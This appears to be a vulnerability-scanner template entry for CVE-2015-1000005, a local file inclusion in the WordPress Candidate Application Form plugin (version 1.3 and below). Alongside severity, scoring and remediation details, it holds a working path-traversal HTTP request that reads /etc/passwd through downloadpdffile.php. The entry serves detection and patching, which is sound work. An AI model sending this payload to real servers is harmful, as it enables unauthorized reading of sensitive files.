| Title | WordPress Candidate Application Form <= 1.3 - Local File Inclusion |
|---|---|
| Author | dhiyaneshDK |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to read sensitive files on the server. |
| Remediation | Update to the latest version of the plugin. |
| CVSS Score | 7.5 |
| EPSS Score | 0.21197 |
| CVE ID | CVE-2015-1000005 |
| CWE ID | CWE-22 |
| Tags | cve2015 cve wpscan wordpress wp-plugin lfi wp candidate-application-form_project vuln |
WordPress Candidate Application Form <= 1.3 is susceptible to arbitrary file downloads because the code in downloadpdffile.php does not do any sanity checks.
GET /wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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